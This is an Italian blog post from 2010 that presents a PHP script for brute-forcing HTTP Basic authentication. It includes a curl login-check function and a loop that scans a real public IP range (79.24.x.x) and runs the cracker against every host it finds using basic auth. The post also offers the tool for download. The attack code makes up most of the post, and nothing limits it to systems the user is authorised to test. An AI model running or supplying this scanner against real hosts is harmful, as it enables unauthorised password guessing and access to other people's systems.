[PHP]BruteForce Http basic authentication
Subito avevo scritto questo scanner in python, poi non riuscivo a gestire bene l’eccezzione httplib.badstatus e quindi ho converti lo scanner in php :D è è è esercizio :D
La configurazione dello scanner è ababstanza semplice, per l’autentificazione, ho usato i la libreria curl di php ;)
La funzione per fare un login in , con i curl è:
function authentication($ip,$user,$password)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$ip);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_NOBODY, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
curl_setopt($ch,CURLOPT_USERPWD, "$user:$password");
curl_setopt($ch, CURLOPT_TIMEOUT, TIMEOUT);
curl_exec($ch);
$info =curl_getinfo($ch);
curl_close ($ch);
if($info["http_code"]=="200")
{
return 1;
}
else
{
return 0;
}
}
Codice abbastanza semplice :D
Ci sono molti modi per usare questo mio mini script :D ad esempio su multipli ip o.O attivi =>
for($i=26;$i<=255;$i++)
{
for($k=1;$k<=255;$k++)
{
$ip="79.24.$i.$k";
if(unreadable($ip))
{
if(http_basic($ip))
{
echo "$ip\n";
crack($ip);
}
}
}
}
Ma lasciamo perdere queste lamerate :D
Bene spero vi sia utile -.-' :D
DOWNLOAD PHP-Http basic authentication-BRUTEFORCE
Ciao :D
Related posts:
- MEDUSA:Password(http/ftp/mysql…etc) Cracker for GNU/Linux
- RIPS:source code analyser for vulnerabilities in PHP
- [beta1]ClsHack Scanner: PHP _GET/_POST/_COOKIE VAR LOCATE
- [php/mysql] semplice script login con sessioni
- HTTP session hijacking with Ettercap and Hamster
This entry was posted on Wednesday, August 25th, 2010 at 4:44 pm and is filed under GNU/Linux, Programming, Software. You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response, or trackback from your own site.
Tagged with: brute • http • php • script







Pingback: news sul mondo della programmazione » [PHP]BruteForce Http basic authentication
Pingback: [PHP]BruteForce Http basic authentication
Pingback: [PHP]BruteForce Http basic authentication | ItaliaON
Pingback: [Remote-Router]Fake DNS and Phishing/Exploiting attack | Clshack
Pingback: [Android]Http Basic Brute Force